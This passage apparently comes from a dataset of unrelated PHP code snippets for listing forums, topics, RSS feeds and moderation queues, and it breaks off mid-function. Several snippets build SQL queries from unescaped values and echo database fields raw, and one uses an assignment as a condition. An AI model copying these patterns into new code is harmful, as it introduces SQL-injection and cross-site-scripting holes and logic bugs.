tag cloud\n $forum_tags = false;\n if(!empty($this->conf->plugin_settings_arr['display_tagcloud']))\n {\n require_once(SD_INCLUDE_PATH.'class_sd_tags.php');\n SD_Tags::$maxentries = 30;\n SD_Tags::$plugins = $this->conf->plugin_id;\n SD_Tags::$tags_title = $sdlanguage['tags_title'];\n SD_Tags::$targetpageid = $categoryid;\n SD_Tags::$tag_as_param = 'tag';\n if($forum_tags = SD_Tags::DisplayCloud(false))\n {\n if(in_array($this->conf->plugin_settings_arr['display_tagcloud'],array(1,3)))\n {\n echo $forum_tags;\n }\n }\n }\n\n echo '\n <table border=\"0\" class=\"forums\" cellpadding=\"0\" cellspacing=\"0\" summary=\"layout\" width=\"100%\"><thead><tr>';\n if(!empty($this->conf->plugin_settings_arr['display_forum_image']))\n {\n echo '<th class=\"col-forum-icon\"> </th>';\n }\n echo '<th class=\"col-forum-title\">'.$this->conf->plugin_phrases_arr['column_forum'].'</th>';\n if(!empty($mainsettings['enable_rss_forum']))\n {\n echo '<th class=\"col-rss\"><a title=\"RSS\" class=\"rss-icon\" href=\"forumrss.php\">RSS</a></th>';\n }\n echo '<th class=\"col-topic-count\">'.$this->conf->plugin_phrases_arr['column_topics'].'</th>\n <th class=\"col-post-count\">'.$this->conf->plugin_phrases_arr['column_posts'].'</th>\n <th class=\"col-last-updated\">'.$this->conf->plugin_phrases_arr['column_last_updated'].'</th>\n </tr></thead>';\n\n if(isset($this->conf) && isset($this->conf->forums_cache['categories'])) //SD343\n foreach($this->conf->forums_cache['categories'] as $fid)\n {\n if(!isset($this->conf->forums_cache['forums'][$fid])) continue; //SD343\n $entry = $this->conf->forums_cache['forums'][$fid];\n\n if(!$this->conf->IsSiteAdmin)\n {\n if(empty($entry['online'])) continue;\n $entry_groups = sd_ConvertStrToArray($entry['access_view'],'|');\n if(!empty($entry_groups) && !count(@array_intersect($userinfo['usergroupids'], $entry_groups)))\n continue;\n }\n\n if(empty($entry['parent_forum_id']) && empty($entry['is_category']))\n {\n if($res = $this->DisplayForums(0,$fid,$entry['title']))\n {\n echo $res;\n }\n continue;\n }\n\n $output = '\n <tbody>\n <tr>\n <td colspan=\"6\" class=\"category-cell\">\n <div class=\"category-title-container\">';\n\n if(strlen($entry['title']))\n {\n $image = '';\n if(!empty($entry['image']) && !empty($entry['image_h']) && !empty($entry['image_w']))\n {\n $image = '<img src=\"'.SDUserCache::$img_path.$entry['image'].'\" alt=\"\" width=\"'.(int)$entry['image_w'].'\" height=\"'.(int)$entry['image_h'].'\" />';\n }\n $output .= '<span class=\"category-image\">'.($image?$image:'&nbsp;').'</span> <span class=\"category-title\">'.$entry['title'].'</span>';\n if(strlen($entry['description']))\n {\n $output .= '\n <span class=\"category-description\">' . $entry['description']. '</span>';\n }\n }\n $output .= '\n </div>\n </td>\n </tr>\n </tbody>';\n\n if($res = $this->DisplayForums($fid,0,$entry['title']))\n {\n echo $output . $res;\n }\n\n } //foreach\n\n echo '\n </table>\n ';\n\n //SD343: display optional tag cloud\n if(!empty($forum_tags) && !empty($this->conf->plugin_settings_arr['display_tagcloud']) &&\n in_array($this->conf->plugin_settings_arr['display_tagcloud'],array(2,3)))\n {\n echo $forum_tags;\n }\n\n }", "public function getList()\n {\n return $this->returnText('Full list of users and queues can be found here: https://nbq.2g.be/'. $this->c->id .'/'. urlencode($this->c->displayName) .' ');\n }", "function wp_list_minibbc()\n{\nglobal $wpdb;\n\n\n// PLEASE FILL IT OUT.. its really needed, boys.. ;)\n$prefix = \"minibbtable_\"; // Prefix of the minibb database tables (e.g. minibb_)\n\n$LIMIT = \"DESC LIMIT 0,2\"; // Show only 5 Boards? Insert it like \"LIMIT 5\", show all boards -> do nothing here\n\n$utb = \"/forum\"; // URL to minibb boards.. e.g. domain.de/board then insert something like /board , no backslash please..\n\n$modrewrite = \"1\"; // if using minibb`s rewrite rules, please insert 1, if not.. nothing.\n\n\n$sqlit = \"SELECT SQL_CACHE forum_id, forum_name, topics_count, posts_count FROM \" . $prefix . \"forums ORDER BY forum_name \" . $LIMIT . \"\";\n\n$boards = $wpdb->get_results($sqlit);\n\nforeach ($boards as $board)\n\t{\necho \"<li>\";\n\nif ($modrewrite = '1') \t{\necho \"<a href=\\\"\" . $utb . \"/\" . $board->forum_id . \"_0.html\\\" title=\\\"\" .\n$board->forum_name . \"\\\">\";\n\t} else {\necho \"<a href=\\\"\" . $utb . \"/index.php?action=vtopic&amp;forum=\" . $board->forum_id . \">\";\n\t}\necho \"<b>\" . $board->forum_name . \"</b></a> (Topics: \" . $board->topics_count . \" Posts: \" . $board->posts_count . \")</li>\";\n\t}\n}", "public function viewforum(){\n $d = new ForumDAO();\n $d->id = (int) $_GET['f'];\n $d->fetchItem();\n\n $v = $this->getView();\n $v->assign('count',$d->count);\n\n //divide results into pages...\n $page = 0;\n if(isset($_GET['page'])){\n $page = (int) $_GET['page'];\n }\n\n $this->getView()->assign('page',$page);\n $perpage = 10;\n $v->assign('teemad',$d->fetchAll($d->id,$page,$perpage));\n\n $v->assign('forum',$d);\n $v->assign('user',$_SESSION['user']);\n $this->setTitle($d->title);\n $this->setFile('viewforum.haml');\n $this->render();\n }", "function get_forum_list() {\n return $this->call('get_forum_list');\n }", "function ftopics() {\n global $sql;\n \n $qry = $sql->select(\"SELECT s1.*,s2.`kattopic`,s2.`id` as `subid` \"\n . \"FROM `{prefix_forumthreads}` as `s1`, `{prefix_forumsubkats}` as `s2`, {prefix_forumkats} as `s3` \"\n . \"WHERE s1.`kid` = s2.`id` AND s2.`sid` = s3.`id` ORDER BY s1.`lp` DESC LIMIT 100;\");\n\n $f = 0; $ftopics = '';\n if($sql->rowCount()) {\n foreach($qry as $get) {\n if($f == settings::get('m_ftopics')) { break; }\n if(fintern($get['kid'])) {\n $lp = cnt(\"{prefix_forumposts}\", \" WHERE `sid` = ?\",\"id\",array($get['id']));\n $pagenr = ceil($lp/settings::get('m_fposts'));\n $page = !$pagenr ? 1 : $pagenr;\n $info = !settings::get('allowhover') == 1 ? '' : 'onmouseover=\"DZCP.showInfo(\\''.jsconvert(stringParser::decode($get['topic'])).'\\', \\''.\n _forum_kat.';'._forum_posts.';'._forum_lpost.'\\', \\''.stringParser::decode($get['kattopic']).';'.++$lp.';'.\n date(\"d.m.Y H:i\", $get['lp'])._uhr.'\\')\" onmouseout=\"DZCP.hideInfo()\"';\n \n $ftopics .= show(\"menu/forum_topics\", array(\"id\" => $get['id'],\n \"pagenr\" => $page,\n \"p\" => $lp,\n \"titel\" => cut(stringParser::decode($get['topic']),settings::get('l_ftopics')),\n \"info\" => $info,\n \"kid\" => $get['kid']));\n $f++;\n }\n }\n }\n\n return empty($ftopics) ? '<center style=\"margin:2px 0\">'._no_entrys.'</center>' : '<table class=\"navContent\" cellspacing=\"0\">'.$ftopics.'</table>';\n}", "public function show_forums()\n\t{\n\t\t// Navigation de la page\n\t\tif ($this->cat)\n\t\t{\n\t\t\t$this->nav = Forum::nav($this->cat, array(), $this);\n\t\t\tFsb::$tpl->set_vars(array(\n\t\t\t\t'U_LOW_FORUM' =>\t\tsid(ROOT . 'index.' . PHPEXT . '?p=low&amp;id=' . $this->cat),\n\t\t\t));\n\t\t}\n\n\t\t// Derniere visite sur l'index ?\n\t\tif (Fsb::$mods->is_active('update_last_visit') && Fsb::$mods->is_active('last_visit_index') && Fsb::$session->id() <> VISITOR_ID && $last_visit = Http::getcookie('last_visit'))\n\t\t{\n\t\t\tFsb::$tpl->set_vars(array(\n\t\t\t\t'L_LAST_VISIT_INDEX' =>\t\tsprintf(Fsb::$session->lang('last_visit_index'), Fsb::$session->print_date($last_visit)),\n\t\t\t));\n\t\t}\n\n\t\t// Balise META pour la syndications RSS\n\t\tHttp::add_meta('link', array(\n\t\t\t'rel' =>\t\t'alternate',\n\t\t\t'type' =>\t\t'application/rss+xml',\n\t\t\t'title' =>\t\tFsb::$session->lang('rss'),\n\t\t\t'href' =>\t\tsid(ROOT . 'index.' . PHPEXT . '?p=rss&amp;mode=index&amp;cat=' . $this->cat),\n\t\t));\n\n\t\tFsb::$tpl->set_file('forum/forum_index.html');\n\t\tFsb::$tpl->set_vars(array(\n\t\t\t'IS_CAT' =>\t\t\t\t\t($this->cat) ? true : false,\n\n\t\t\t'U_MARKREAD_FORUMS' =>\t\tsid(ROOT . 'index.' . PHPEXT . '?markread=true' . (($this->cat) ? '&amp;cat=' . $this->cat : '')),\n\t\t));\n\n\t\t// Sujets lus\n\t\t$forum_topic_read = (!Fsb::$session->is_logged()) ? array() : Forum::get_topics_read(1);\n\n\t\t// On recupere les forums, avec une jointure sur les messages lus pour voir si\n\t\t// le dernier message a ete lu ou non\n\t\t$result = Forum::query(($this->cat == null) ? '' : 'WHERE f.f_cat_id = ' . $this->cat);\n\n\t\t$can_display_subforum = false;\n\t\twhile ($forum = Fsb::$db->row($result))\n\t\t{\n\t\t\tif ($forum['f_parent'] == 0)\n\t\t\t{\n\t\t\t\t$parent_id = $forum['f_id'];\n\t\t\t\t$last_cat = $forum;\n\t\t\t\t$can_display_subforum = false;\n\t\t\t}\n\t\t\telse if (Fsb::$session->is_authorized($forum['f_id'], 'ga_view') && (Fsb::$cfg->get('display_subforums') || $forum['f_parent'] == $parent_id))\n\t\t\t{\n\t\t\t\t// On affiche la categorie\n\t\t\t\tif ($last_cat)\n\t\t\t\t{\n\t\t\t\t\tFsb::$tpl->set_blocks('cat', array(\n\t\t\t\t\t\t'CAT_ID' =>\t\t$forum['f_id'],\n\t\t\t\t\t\t'NAME' =>\t\thtmlspecialchars($last_cat['f_name']),\n\t\t\t\t\t\t'U_CAT' =>\t\tsid(ROOT . 'index.' . PHPEXT . '?cat=' . $last_cat['f_id']),\n\t\t\t\t\t));\n\t\t\t\t\t$last_cat = null;\n\t\t\t\t}\n\n\t\t\t\t// Forum lu ou non lu ?\n\t\t\t\t$is_read = (Fsb::$session->is_logged() && isset($forum_topic_read[$forum['f_id']]) && $forum_topic_read[$forum['f_id']] > 0) ? false : true;\n\n\t\t\t\t// On affiche le forum\n\t\t\t\tForum::display($forum, 'forum', 0, $is_read);\n\t\t\t\t\n\t\t\t\t$can_display_subforum = true;\n\t\t\t\t$sub_parent_id = $forum['f_id'];\n\t\t\t}\n\t\t\telse if ($can_display_subforum && Fsb::$session->is_authorized($forum['f_id'], 'ga_view') && !Fsb::$cfg->get('display_subforums') && $forum['f_parent'] == $sub_parent_id)\n\t\t\t{\n\t\t\t\t// Forum lu ou non lu ?\n\t\t\t\t$is_read = (Fsb::$session->is_logged() && isset($forum_topic_read[$forum['f_id']]) && $forum_topic_read[$forum['f_id']] > 0) ? false : true;\n\n\t\t\t\t// On affiche le sous forum\n\t\t\t\tForum::display($forum, 'subforum', 0, $is_read);\n\t\t\t}\n\t\t}\n\t\tFsb::$db->free($result);\n\t}", "public function actionIndex() \n {\n if (isset($_POST['selectqueue']) && !empty($_POST['selectqueue']))\n {\n Queue::model()->deleteQueues($_POST['selectqueue']);\n $this->redirect(array('queue'));\n }\n \n\n $doctorList = Doctor::model()->getDoctorList();\n \n $this->render('queue', array('doctorList' => $doctorList));\n }", "public function list_types()\n\t{\n\t\t// Get all types that the user has permission to view.\n\t\t$types = $this->types->find_authed('queue_discussion');\n\n\t\tif (empty($types))\n\t\t{\n\t\t\treturn $this->helper->needs_auth();\n\t\t}\n\n\t\t// Redirect to specific type if user only has access to one.\n\t\tif (sizeof($types) == 1)\n\t\t{\n\t\t\tredirect($this->get_type_url($this->get_type_from_id($types[0])));\n\t\t}\n\n\t\t$counts = $this->get_type_topic_counts($types);\n\n\t\tforeach ($types as $id)\n\t\t{\n\t\t\t$type = $this->get_type_from_id($id);\n\t\t\t$this->template->assign_block_vars('categories', array(\n\t\t\t\t'U_VIEW_CATEGORY'\t=> $this->get_type_url($type),\n\t\t\t\t'CATEGORY_NAME'\t\t=> $type->lang['langs'],\n\t\t\t\t'CATEGORY_CONTRIBS' => $counts[$id],\n\t\t\t));\n\t\t}\n\n\t\t$this->display->assign_global_vars();\n\t\t$this->generate_navigation('queue_discussion');\n\t\t$this->template->assign_vars(array(\n\t\t\t'S_QUEUE_LIST'\t=> true,\n\t\t));\n\n\t\treturn $this->helper->render('manage/queue.html', 'QUEUE_DISCUSSION');\n\t}", "function board_list(){\n\t\tglobal $print, $x7s, $x7c, $db, $prefix;\n\t\t$head = \"\";\n\t\t$body='';\n\t\t\n\t\t$indice = indice_board();\n\n\n\t\t$q_new = $db->DoQuery(\"SELECT count(*) AS cnt FROM {$prefix}boardunread WHERE user='{$x7s->username}'\");\n\t\t$new_msg = $db->Do_Fetch_Assoc($q_new);\n\n\t\t$body=\"<b>Ci sono $new_msg[cnt] messaggi nuovi</b>\";\n\t\t\n\t\t$print->board_window($head,$body,$indice);\n\t\t\n\t}", "public function rss_forum()\n\t{\n\t\tif (!$this->id || !Fsb::$session->is_authorized($this->id, 'ga_view') || !Fsb::$session->is_authorized($this->id, 'ga_view_topics'))\n\t\t{\n\t\t\tDisplay::message('not_allowed');\n\t\t}\n\n\t\t// Liste des messages\n\t\t$sql = 'SELECT f.f_name, p.p_id, p.u_id, p.f_id, p.p_text, p.p_time, p.p_nickname, p.p_map, t.t_id, t.t_title, t.t_description, u.u_activate_email, u.u_email, u.u_auth\n\t\t\t\tFROM ' . SQL_PREFIX . 'forums f\n\t\t\t\tLEFT JOIN ' . SQL_PREFIX . 'topics t\n\t\t\t\t\tON f.f_id = t.f_id\n\t\t\t\tLEFT JOIN ' . SQL_PREFIX . 'posts p\n\t\t\t\t\tON p.p_id = t.t_first_p_id\n\t\t\t\tLEFT JOIN ' . SQL_PREFIX . 'users u\n\t\t\t\t\tON u.u_id = p.u_id\n\t\t\t\tWHERE t.f_id = ' . $this->id . '\n\t\t\t\t\tAND p.p_approve = 0\n\t\t\t\tORDER BY t.t_last_p_time DESC\n\t\t\t\tLIMIT 100';\n\t\t$this->check_caching($sql, 'rss_' . $this->id . '_');\n\t\t$result = Fsb::$db->query($sql, 'rss_' . $this->id . '_');\n\t\tif ($row = Fsb::$db->row($result))\n\t\t{\n\t\t\t$this->rss->open(\n\t\t\t\thtmlspecialchars(Fsb::$cfg->get('forum_name') . Fsb::$session->getStyle('other', 'title_separator') . $row['f_name']),\n\t\t\t\thtmlspecialchars(sprintf(Fsb::$session->lang('rss_forum_name'), $row['f_name'])),\n\t\t\t\tFsb::$session->data['u_language'],\n\t\t\t\tsid(Fsb::$cfg->get('fsb_path') . '/index.' . PHPEXT . '?p=rss&amp;mode=forum&amp;id=' . $this->id),\n\t\t\t\t$row['p_time']\n\t\t\t);\n\n\t\t\t$parser = new Parser();\n\t\t\tdo\n\t\t\t{\n\t\t\t\t// Informations passees au parseur de message\n\t\t\t\t$parser_info = array(\n\t\t\t\t\t'u_id' =>\t\t\t$row['u_id'],\n\t\t\t\t\t'p_nickname' =>\t\t$row['p_nickname'],\n\t\t\t\t\t'u_auth' =>\t\t\t$row['u_auth'],\n\t\t\t\t\t'f_id' =>\t\t\t$row['f_id'],\n\t\t\t\t\t't_id' =>\t\t\t$row['t_id'],\n\t\t\t\t);\n\t\t\t\t$parser->parse_html = (Fsb::$cfg->get('activate_html') && $row['u_auth'] >= MODOSUP) ? true : false;\n\n\t\t\t\t$this->rss->add_entry(\n\t\t\t\t\tParser::title($row['t_title']),\n\t\t\t\t\thtmlspecialchars(($row['t_description']) ? $row['t_description'] : $parser->mapped_message($row['p_text'], $row['p_map'], $parser_info)),\n\t\t\t\t\t(($row['u_activate_email'] & 2) ? 'mailto:' . $row['u_email'] : Fsb::$cfg->get('forum_mail')) . ' ' . htmlspecialchars($row['p_nickname']),\n\t\t\t\t\tsid(Fsb::$cfg->get('fsb_path') . '/index.' . PHPEXT . '?p=topic&t_id=' . $row['t_id']),\n\t\t\t\t\t$row['p_time']\n\t\t\t\t);\n\t\t\t}\n\t\t\twhile ($row = Fsb::$db->row($result));\n\t\t}\n\t\t// Aucun sujet, on pioche donc directement les informations dans le forum\n\t\telse \n\t\t{\n\t\t\t$sql = 'SELECT f_id, f_name, f_text\n\t\t\t\t\tFROM ' . SQL_PREFIX . 'forums\n\t\t\t\t\tWHERE f_id = ' . $this->id;\n\t\t\t$row = Fsb::$db->request($sql);\n\n\t\t\t$this->rss->open(\n\t\t\t\tParser::title($row['f_name']),\n\t\t\t\thtmlspecialchars($row['f_text']),\n\t\t\t\tFsb::$session->data['u_language'],\n\t\t\t\tsid(Fsb::$cfg->get('fsb_path') . '/index.' . PHPEXT . '?p=rss&amp;mode=forum&amp;id=' . $this->id),\n\t\t\t\tCURRENT_TIME\n\t\t\t);\n\t\t}\n\t}", "function asForumTopics($data) {\r\n$IPBHTML = \"\";\r\n//--starthtml--//\r\n$IPBHTML .= <<<EOF\r\n<tr class='__topic __tid{$data['tid']} <if test=\"!$data['_icon']['is_read']\">unread</if> expandable <if test=\"$data['approved'] != 1\"> moderated</if>' id='trow_{$data['tid']}' data-tid=\"{$data['tid']}\">\n\t<td class='col_f_icon short altrow'>\n\t\t{parse template=\"generateTopicIcon\" group=\"global_other\" params=\"$data['_icon'], $data['_unreadUrl']\"}\n\t</td>\n\t<td>\n\t\t<if test=\"archivedBadge:|:$this->registry->class_forums->fetchArchiveTopicType( $data ) == 'archived'\">\n\t\t\t<span class='ipsBadge ipsBadge_lightgrey'>{$this->lang->words['topic_is_archived']}</span>\n\t\t</if>\n\t\t<if test=\"hasPrefix:|:!empty($data['tags']['formatted']['prefix'])\">\n\t\t\t{$data['tags']['formatted']['prefix']}\n\t\t</if>\n\t\t<h4><a href='{parse url=\"showtopic={$data['tid']}<if test=\"isNewPostTR:|:$this->request['do']=='new_posts' OR $this->request['do']=='active'\">&amp;view=getnewpost<else /><if test=\"resultIsPostTR:|:$data['pid'] AND $data['pid'] != $data['topic_firstpost']\">&amp;view=findpost&amp;p={$data['pid']}</if></if>&amp;hl={$data['cleanSearchTerm']}\" seotitle=\"{$data['title_seo']}\" template=\"showtopic\" base=\"public\"}' title='{$this->lang->words['view_result']}'>{$data['_shortTitle']}</a></h4>\n\t\t<span class='desc blend_links'>\n\t\t\t<foreach loop=\"topicsForumTrail:$data['_forum_trail'] as $i => $f\">\n\t\t\t<if test=\"notLastFtAsForum:|:$i+1 == count( $data['_forum_trail'] )\"><span class='desc lighter'>{$this->lang->words['search_aft_in']}</span> <a href='{parse url=\"{$f[1]}\" template=\"showforum\" seotitle=\"{$f[2]}\" base=\"public\"}'>{$f[0]}</a></if>\n\t\t\t</foreach>\n\t\t</span>\n\t\t<span class='desc lighter blend_links toggle_notify_off'>\n\t\t\t<br />{$this->lang->words['aft_started_by']} {$data['starter']}, {parse date=\"$data['start_date']\" format=\"DATE\"}\n\t\t\t<if test=\"hasTags:|:count($data['tags']['formatted'])\">\n\t\t\t\t&nbsp;<img src='{$this->settings['img_url']}/icon_tag.png' /> {$data['tags']['formatted']['truncatedWithLinks']}\n\t\t\t</if>\n\t\t</span>\n\t\t<if test=\"multipages:|:isset( $data['pages'] ) AND is_array( $data['pages'] ) AND count( $data['pages'] )\">\n\t\t\t<ul class='mini_pagination toggle_notify_off'>\n\t\t\t<foreach loop=\"pages:$data['pages'] as $page\">\n\t\t\t\t\t<if test=\"haslastpage:|:$page['last']\">\n\t\t\t\t\t\t<li><a href=\"{parse url=\"showtopic={$data['tid']}&amp;st={$page['st']}\" seotitle=\"{$data['title_seo']}\" template=\"showtopic\" base=\"public\"}\" title='{$this->lang->words['topic_goto_page']} {$page['page']}'>{$page['page']} {$this->lang->words['_rarr']}</a></li>\n\t\t\t\t\t<else />\n\t\t\t\t\t\t<li><a href=\"{parse url=\"showtopic={$data['tid']}&amp;st={$page['st']}\" seotitle=\"{$data['title_seo']}\" template=\"showtopic\" base=\"public\"}\" title='{$this->lang->words['topic_goto_page']} {$page['page']}'>{$page['page']}</a></li>\n\t\t\t\t\t</if>\n\t\t\t</foreach>\n\t\t\t</ul>\n\t\t</if>\n\t\t<if test=\"bothSearchUnderTitle:|:IPSSearchRegistry::get('set.searchResultType') == 'both'\">\n\t\t\t<span class='desc lighter blend_links toggle_notify_off'>\n\t\t\t\t<br />{$this->lang->words['n_last_post_by']} {$data['last_poster']},\n\t\t\t\t<a href='{parse url=\"showtopic={$data['tid']}&amp;view=getlastpost\" seotitle=\"{$data['title_seo']}\" template=\"showtopic\" base=\"public\"}' title='{$this->lang->words['goto_last_post']}'>{parse date=\"$data['_last_post']\" format=\"DATE\"}</a>\n\t\t\t</span>\n\t\t</if>\n\t\t<if test=\"isFollowedStuff:|:count($data['_followData'])\">\n\t\t\t{parse template=\"followData\" group=\"search\" params=\"$data['_followData']\"}\n\t\t</if>\n\t</td>\n\t<td class='col_f_preview __topic_preview'>\n\t\t<a href='#' class='expander closed' title='{$this->lang->words['view_topic_preview']}'>&nbsp;</a>\n\t</td>\n\t<td class='col_f_views'>\n\t\t<ul>\n\t\t\t<li>{parse format_number=\"$data['posts']\"} <if test=\"replylang:|:intval($data['posts']) == 1\">{$this->lang->words['reply']}<else />{$this->lang->words['replies']}</if></li>\n\t\t\t<li class='views desc'>{parse format_number=\"$data['views']\"} {$this->lang->words['views']}</li>\n\t\t</ul>\n\t</td>\n\t<td class='col_f_post'>\n\t\t{parse template=\"userSmallPhoto\" group=\"global\" params=\"$data\"}\n\t\t<ul class='last_post ipsType_small'>\n\t\t\t<if test=\"bothSearch:|:IPSSearchRegistry::get('set.searchResultType') == 'both'\">\n\t\t\t\t<li>{parse template=\"userHoverCard\" group=\"global\" params=\"$data\"}</li>\n\t\t\t\t<li>\n\t\t\t\t\t<a href='{parse url=\"showtopic={$data['tid']}&amp;view=getlastpost\" seotitle=\"{$data['title_seo']}\" template=\"showtopic\" base=\"public\"}' title='{$this->lang->words['goto_last_post']}'>{$this->lang->words['n_posted']} {parse date=\"$data['_post_date']\" format=\"DATE\"}</a>\n\t\t\t\t</li>\n\t\t\t<else />\n\t\t\t\t<li>{$data['last_poster']}</li>\n\t\t\t\t<li>\n\t\t\t\t\t<a href='{parse url=\"showtopic={$data['tid']}&amp;view=getlastpost\" seotitle=\"{$data['title_seo']}\" template=\"showtopic\" base=\"public\"}' title='{$this->lang->words['goto_last_post']}'>{parse date=\"$data['_last_post']\" format=\"DATE\"}</a>\n\t\t\t\t</li>\n\t\t\t</if>\n\t\t</ul>\n\t</td>\n\t<if test=\"isFollowedStuff:|:count($data['_followData'])\">\n\t\t<td class='col_f_mod'>\n\t\t\t<input class='input_check checkall toggle_notify_on' type=\"checkbox\" name=\"likes[]\" value=\"{$data['_followData']['like_app']}-{$data['_followData']['like_area']}-{$data['_followData']['like_rel_id']}\" />\n\t\t</td>\n\t<else />\n\t\t<if test=\"isAdmin:|:$this->memberData['g_is_supmod']\">\n\t\t\t<td class='col_f_mod'>\n\t\t\t\t<if test=\"isArchivedCb:|:$this->request['search_app_filters']['forums']['liveOrArchive'] == 'archive'\">\n\t\t\t\t\t&nbsp;\n\t\t\t\t<else />\n\t\t\t\t\t<input type='checkbox' class='input_check topic_mod' id='tmod_{$data['tid']}' />\n\t\t\t\t</if>\n\t\t\t</td>\n\t\t</if>\n\t</if>\n</tr>\n<if test=\"$data['pid']\">\n<script type='text/javascript'>\nipb.global.searchResults[ {$data['tid']} ] = { pid: {parse expression=\"intval($data['pid'])\"}, searchterm:\"{$data['cleanSearchTerm']}\" };\n</script>\n</if>\r\nEOF;\r\n//--endhtml--//\r\nreturn $IPBHTML;\r\n}", "public function actionIndex()\n {\n $searchModel = new PreForumBoardSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "function ftopics()\n{\n global $db;\n\n $qry = db(\"SELECT s1.*,s2.kattopic,s2.id AS subid FROM \" . $db['f_threads'] . \" s1, \" . $db['f_skats'] . \" s2, \" . $db['f_kats'] . \" s3\n WHERE s1.kid = s2.id AND s2.sid = s3.id ORDER BY s1.lp DESC LIMIT 100\");\n\n $f = 0;\n $ftopics = '';\n if (_rows($qry)) {\n while ($get = _fetch($qry)) {\n if ($f == config('m_ftopics')) break;\n if (fintern($get['kid'])) {\n $lp = cnt($db['f_posts'], \" WHERE `sid` = '\" . $get['id'] . \"'\");\n $pagenr = ceil($lp / config('m_fposts'));\n\n if ($pagenr == 0) $page = 1;\n else $page = $pagenr;\n\n $info = config('allowhover') == 1 ? 'onmouseover=\"DZCP.showInfo(\\'' . jsconvert(re($get['topic'])) . '\\', \\'' . _forum_kat . ';' . _forum_posts . ';' . _forum_lpost . '\\', \\'' .\n re($get['kattopic']) . ';' . ++$lp . ';' . date(\"d.m.Y H:i\", $get['lp']) . _uhr . '\\')\" onmouseout=\"DZCP.hideInfo()\"' : '';\n $ftopics .= show(\"menu/forum_topics\", array(\"id\" => $get['id'],\n \"pagenr\" => $page,\n \"p\" => $lp,\n \"titel\" => cut(re($get['topic']), config('l_ftopics'), true, false),\n \"info\" => $info,\n \"kid\" => $get['kid']));\n $f++;\n }\n }\n }\n\n return empty($ftopics) ? '' : '<table class=\"navContent\" cellspacing=\"0\">' . $ftopics . '</table>';\n}", "public static function display_queue_item($queue_id)\n\t{\n\t\tphpbb::$user->add_lang_ext('phpbb/titania', 'contributions');\n\t\t$controller_helper = phpbb::$container->get('phpbb.titania.controller.helper');\n\t\t$path_helper = phpbb::$container->get('path_helper');\n\n\t\t$sql_ary = array(\n\t\t\t'SELECT' => '*',\n\n\t\t\t'FROM'\t\t=> array(\n\t\t\t\tTITANIA_QUEUE_TABLE\t\t=> 'q',\n\t\t\t\tTITANIA_REVISIONS_TABLE\t=> 'r',\n\t\t\t\tTITANIA_TOPICS_TABLE\t=> 't',\n\t\t\t),\n\n\t\t\t'WHERE' => 'q.queue_id = ' . (int) $queue_id . '\n\t\t\t\tAND r.revision_id = q.revision_id\n\t\t\t\tAND t.topic_id = q.queue_topic_id',\n\t\t);\n\n\t\t// Main SQL Query\n\t\t$sql = phpbb::$db->sql_build_query('SELECT', $sql_ary);\n\t\t$result = phpbb::$db->sql_query($sql);\n\t\t$row = phpbb::$db->sql_fetchrow($result);\n\t\tphpbb::$db->sql_freeresult($result);\n\n\t\tif (!$row)\n\t\t{\n\t\t\ttrigger_error('NO_QUEUE_ITEM');\n\t\t}\n\n\t\tself::$queue[$queue_id] = $row;\n\t\t$queue = self::get_queue_object($queue_id);\n\n\t\t// Load the contribution\n\t\t$contrib = new titania_contribution();\n\t\t$contrib->load((int) $row['contrib_id']);\n\t\t$contrib->get_download($row['revision_id']);\n\t\t$contrib->get_revisions();\n\t\t$contrib->get_screenshots();\n\t\t$contrib->assign_details();\n\n\t\t// Load the topic (with the already selected data)\n\t\t$topic = new titania_topic;\n\t\t$topic->__set_array($row);\n\n\t\t// Bit of a hack for the posting\n\t\tphpbb::$request->overwrite('t', $topic->topic_id);\n\n\t\t$is_moderator = $contrib->type->acl_get('moderate');\n\t\t$is_validator = $contrib->type->acl_get('validate');\n\t\t$hash = array(\n\t\t\t'hash' => generate_link_hash('queue_tool'),\n\t\t);\n\n\t\t// Misc actions\n\t\t$misc_actions = array(\n\t\t\tarray(\n\t\t\t\t'RETEST_PV',\n\t\t\t\t$queue->get_tool_url('mpv', $row['revision_id'], $hash),\n\t\t\t\t$contrib->type->mpv_test,\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'RETEST_PV',\n\t\t\t\t$queue->get_tool_url('epv', $row['revision_id'], $hash),\n\t\t\t\t$contrib->type->epv_test,\n\t\t\t),\n\t\t\tarray(\n\t\t\t\t'RETEST_AUTOMOD',\n\t\t\t\t$queue->get_tool_url('automod', $row['revision_id'], $hash),\n\t\t\t\t$contrib->type->automod_test,\n\t\t\t),\n\t\t);\n\n\t\t// Some quick-actions\n\t\t$quick_actions = array();\n\t\t$hash = array(\n\t\t\t'hash' => generate_link_hash('queue_action'),\n\t\t);\n\n\t\tif ($row['queue_status'] > 0)\n\t\t{\n\t\t\t$misc_actions = array_merge($misc_actions, array(\n\t\t\t\tarray(\n\t\t\t\t\t'REBUILD_FIRST_POST',\n\t\t\t\t\t$queue->get_url('rebuild', $hash),\n\t\t\t\t\ttrue,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'ALLOW_AUTHOR_REPACK',\n\t\t\t\t\t$queue->get_url('allow_author_repack'),\n\t\t\t\t\t$is_moderator && !$row['allow_author_repack'],\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'MARK_TESTED',\n\t\t\t\t\t$queue->get_url('tested', $hash),\n\t\t\t\t\t!$row['queue_tested'],\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'MARK_UNTESTED',\n\t\t\t\t\t$queue->get_url('not_tested', $hash),\n\t\t\t\t\t$row['queue_tested'],\n\t\t\t\t),\n\t\t\t));\n\n\t\t\t$tags = titania::$cache->get_tags(ext::TITANIA_QUEUE);\n\t\t\tunset($tags[$row['queue_status']]);\n\n\t\t\t$quick_actions = array(\n\t\t\t\tarray(\n\t\t\t\t\t'MARK_NO_PROGRESS',\n\t\t\t\t\t$queue->get_url('no_progress', $hash),\n\t\t\t\t\t$row['queue_progress'] == phpbb::$user->data['user_id'],\n\t\t\t\t\t'queue_progress',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'MARK_IN_PROGRESS',\n\t\t\t\t\t$queue->get_url('in_progress', 